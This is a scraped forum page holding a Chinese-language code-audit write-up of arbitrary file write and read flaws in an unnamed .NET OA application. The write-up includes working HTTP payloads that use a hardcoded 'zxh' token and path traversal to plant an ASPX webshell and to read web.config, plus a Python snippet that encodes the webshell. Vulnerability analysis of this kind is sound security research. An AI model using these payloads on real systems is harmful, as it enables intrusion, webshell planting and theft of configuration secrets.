pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body p,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body code{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">某.net程序文件写入漏洞分析</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
前段时间看到公开了一个漏洞payload很奇怪,正好有空就分析了一下,也是第一次接触了.net的代码审计,一通分析下来,发现和审计java和php的思路是一样的...
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>前段时间看到公开了一个漏洞payload很奇怪,正好有空就分析了一下,也是第一次接触了.net的代码审计,一通分析下来,发现和审计java和php的思路是一样的...
|
||||
|
||||
在拿到源码后,发现这个oa是用.net编写的,基本所有的预编译的ASP.NET的Web应用程序使用的.Net程序集(通常是DLLs)都默认放在`bin`文件下,这一点和java写的程序中将jar都放在`WEB-INF/lib`中类似。.NET的DLL和Java的JAR都是用于打包和分发代码的文件格式。.NET的DLL是用于.NET Framework的动态链接库,而Java的JAR是用于Java平台的Java归档文件。
|
||||
|
||||
通常反编译.net的工具dnSpy, ILSpy等,但是由于ILSpy一直在维护更新,大部分人都偏向于使用这个,虽然dnSpy工具以及在2020年已经归档,但是在github通过`dnspy fork:only`搜索到仍有非官方的爱好者对该工具进行维护,例如项目地址:[dnSpy](https://github.com/dnSpyEx/dnSpy)。
|
||||
|
||||
0x01 路由分析
|
||||
=========
|
||||
|
||||
首先查看`Global.asax`,他 是 ASP.NET 应用程序中的一个文件,它作为处理应用程序级事件和自定义应用程序行为的中心位置。通常被称为全局应用程序类。其中的`Inherits`中定义了定义供页继承的代码隐藏类
|
||||
|
||||

|
||||
|
||||
然后再dnSpy中搜索这个类目(最好打开全词匹配排除其他干扰项),然后在`Application_Start`中定义了在应用程序启动时运行的代码
|
||||
|
||||

|
||||
|
||||
通过`WebApiConfig.Register`可以看到这里定义了通过api访问的路由,定义了包含控制器和方法
|
||||
|
||||
在 ASP.NET Web API 中,*控制器*是处理 HTTP 请求的类。控制器的公共方法称为*操作方法*或简称为*action*。当 Web API 框架收到请求时,它将请求路由到操作。
|
||||
|
||||

|
||||
|
||||
然后在`WebApi.Areas.Api.Controllers`命名空间中寻找到所有控制器和方法
|
||||
|
||||

|
||||
|
||||
0x02 漏洞分析
|
||||
=========
|
||||
|
||||
首先查看payload
|
||||
|
||||
```php
|
||||
POST /api/files/UploadFile HTTP/1.1
|
||||
Host: your-ip
|
||||
Accept-Encoding: gzip
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 1926
|
||||
|
||||
token=zxh&FileName=/../../manager/a.aspx&pathType=1&fs=[60,37,64,...]
|
||||
```
|
||||
|
||||
通过路由`/api/files/UploadFile`锁定`WebApi.Areas.Api.Controllers.filesController.UploadFile`方法
|
||||
|
||||

|
||||
|
||||
在这个方法中接受四个参数,分别为token,fs,FileName,pathType。
|
||||
|
||||
首先会经过`base.IsAuthorityCheck()`进行鉴权
|
||||
|
||||

|
||||
|
||||
这里的`byValue`通过参数`token`获得,并且这里判断的内容直接被硬编码,所以直接`token=zxh`即可`return new UserInfo();`
|
||||
|
||||
接着返回UploadFile方法看fs
|
||||
|
||||
```php
|
||||
fs = JsonConvert.DeserializeObject<byte[]>(base.getByValue("fs"));
|
||||
```
|
||||
|
||||
`JsonConvert.DeserializeObject<byte[]>` 是使用 Json.NET 库(Newtonsoft.Json)中的 `JsonConvert` 类来将 JSON 字符串反序列化为 `byte[]` 数组的过程。所以这里只需要传入一个数组就可以了
|
||||
|
||||

|
||||
|
||||
因在在最后的`SingleBase<fileServices>.Instance.UploadFile(fs, FileName, pathType)`中
|
||||
|
||||

|
||||
|
||||
会直接将byte类型直接通过`WriterTo`写入,所以可以用python生成一个webshell的字节数据
|
||||
|
||||
```php
|
||||
webshell = '<%now()%>'
|
||||
print(str([ord(x) for x in webshell]).replace(' ', ''))
|
||||
```
|
||||
|
||||

|
||||
|
||||
然后在看写入的路径
|
||||
|
||||

|
||||
|
||||
写入的路径是通过传入的`pathType`决定的,在`GetFolderPathByType`中定义了`pathType`的值对应的路径
|
||||
|
||||

|
||||
|
||||
在`web.config`中定义了各个值对应的路径,但是程序实在manage里,如果上传到这些目录也无法访问到
|
||||
|
||||

|
||||
|
||||
所以这里的FileName需要通过路径穿越到web目录。最后`memoryStream.WriteTo(fileStream);`将webshell写入
|
||||
|
||||
0x03 more
|
||||
=========
|
||||
|
||||
1、任意文件写入
|
||||
--------
|
||||
|
||||
在分析这个漏洞的时候,发现在这个控制器下还有四个类似上传方法
|
||||
|
||||

|
||||
|
||||
这里找到一处UploadFile2,这里获取路径的方式是通过pathType控制,但是多了两个参数startPoint和dataSize
|
||||
|
||||

|
||||
|
||||
这里会判断startPoint是否为0,如果0就直接写入文件,如果不为0,则需要被写入的文件存在,且startPoint的值必须为被写入文件的长度,然后通过append追加的方式写入,然后datasize是写入的位数,需要与写入文件的字符个数相同。
|
||||
|
||||

|
||||
|
||||
payload就不放了,能看懂的人自然能构建出来,后面的`UploadBillFile2`原理也是一样的,只不过是上传的路径变了,依然可以利用文件名进行目录穿梭上传到web目录下。
|
||||
|
||||

|
||||
|
||||
接着看下一处,但是这里鸡肋,因为这里的路径是通过`Path.GetTempPath()`获取的,也就是说只能上传到`%TMP%`目录下,但依然可以路径穿越到启动目录上传木马等。
|
||||
|
||||

|
||||
|
||||
2、任意文件读取
|
||||
--------
|
||||
|
||||

|
||||
|
||||
同样在files控制器中,我们发现了很多与下载相关的接口,并且都是通过硬编码进行鉴权的。
|
||||
|
||||

|
||||
|
||||
例如这个接口,获取两个参数requestFileName和pathType
|
||||
|
||||

|
||||
|
||||
pathType同样是选择不同的路径,可以用requestFileName进行路径穿越读到我们想要的文件
|
||||
|
||||
payload:
|
||||
|
||||
```php
|
||||
POST /api/files/DownloadFile HTTP/1.1
|
||||
|
||||
token=zxh&requestFileName=../../manager/web.config&pathType=1
|
||||
```</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><p blockindex=0>前段时间看到公开了一个漏洞payload很奇怪,正好有空就分析了一下,也是第一次接触了.net的代码审计,一通分析下来,发现和审计java和php的思路是一样的...</p>
|
||||
<p blockindex=1>在拿到源码后,发现这个oa是用.net编写的,基本所有的预编译的ASP.NET的Web应用程序使用的.Net程序集(通常是DLLs)都默认放在<code>bin</code>文件下,这一点和java写的程序中将jar都放在<code>WEB-INF/lib</code>中类似。.NET的DLL和Java的JAR都是用于打包和分发代码的文件格式。.NET的DLL是用于.NET Framework的动态链接库,而Java的JAR是用于Java平台的Java归档文件。</p>
|
||||
<p blockindex=2>通常反编译.net的工具dnSpy, ILSpy等,但是由于ILSpy一直在维护更新,大部分人都偏向于使用这个,虽然dnSpy工具以及在2020年已经归档,但是在github通过<code>dnspy fork:only</code>搜索到仍有非官方的爱好者对该工具进行维护,例如项目地址:<a href=https://github.com/dnSpyEx/dnSpy>dnSpy</a>。</p>
|
||||
<h1 blockindex=3>0x01 路由分析</h1>
|
||||
<p blockindex=4>首先查看<code>Global.asax</code>,他 是 ASP.NET 应用程序中的一个文件,它作为处理应用程序级事件和自定义应用程序行为的中心位置。通常被称为全局应用程序类。其中的<code>Inherits</code>中定义了定义供页继承的代码隐藏类</p>
|
||||
<p blockindex=5><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=6>然后再dnSpy中搜索这个类目(最好打开全词匹配排除其他干扰项),然后在<code>Application_Start</code>中定义了在应用程序启动时运行的代码</p>
|
||||
